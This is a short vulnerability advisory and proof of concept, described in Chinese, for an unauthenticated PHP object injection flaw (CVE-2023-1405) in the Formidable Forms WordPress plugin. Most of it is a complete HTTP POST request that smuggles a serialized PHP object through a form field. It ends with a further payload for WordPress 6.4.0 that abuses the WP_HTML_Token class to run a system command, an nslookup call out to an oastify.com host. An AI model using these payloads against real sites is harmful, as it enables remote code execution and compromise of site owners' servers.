Formidable Forms <= 6.1.2 - 未经身份验证的PHP对象注入
Formidable Forms WordPress插件在版本6.1.2及之前存在PHP对象注入漏洞，通过反序列化来自表单提交的不可信输入实现。这允许未经身份验证的攻击者注入PHP对象。受影响插件本身不存在POP链。如果目标系统上安装了其他插件或主题提供了POP链，则可能允许攻击者删除任意文件、检索敏感数据或执行代码。
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2023-1405
POST /wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
Content-Type: multipart/form-data; boundary=---------------------------343242131629515258773021267392
Content-Length: 1871
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0, i
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_action"
create
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_id"
1
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_hide_fields_1"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_key"
contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[0]"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_submit_entry_1"
5dc418e798
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[1]"
test
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[2]"
teasads
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[3]"
[email protected]
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[4]"
teasdsda
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[5]"
O:20:"PHP_Object_Injection":0:{}
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_key"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_verify"
-----------------------------343242131629515258773021267392--
你也可以对WordPress 6.4.0使用这个payload：O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:53:"nslookup jj603shxad7lmfb20joe5vrjva11pudj.oastify.com";s:10:"on_destroy";s:6:"system";}